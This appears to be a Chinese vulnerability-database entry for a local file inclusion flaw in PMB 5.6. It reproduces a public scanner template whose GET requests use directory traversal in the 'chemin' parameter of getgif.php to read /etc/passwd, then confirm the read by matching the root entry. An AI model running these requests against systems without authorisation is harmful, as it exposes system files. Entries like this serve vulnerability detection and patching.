pmb-directory-traversal: PMB 5.6 - Local File Inclusion

日期: 2025-08-01 | 影响软件: PMB | POC: 已公开

漏洞描述

PMB 5.6 is vulnerable to local file inclusion because the PMB Gif Image is not sanitizing the content of the 'chemin' parameter.

PoC代码[已公开]

id: pmb-directory-traversal

info:
  name: PMB 5.6 - Local File Inclusion
  author: geeknik
  severity: high
  description: PMB 5.6 is vulnerable to local file inclusion because the PMB Gif Image is not sanitizing the content of the 'chemin' parameter.
  reference:
    - https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
      - "{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402204855834ce2786aecec6b9d6f4dce32fa97217b0a510c094848d3388aa8209ddb022048a31cf1f7183676e3154d5bb5eb06d404050fe816db7665ac2009400a0cd490:922c64590222798bb761d5b6d8e72950

相关漏洞推荐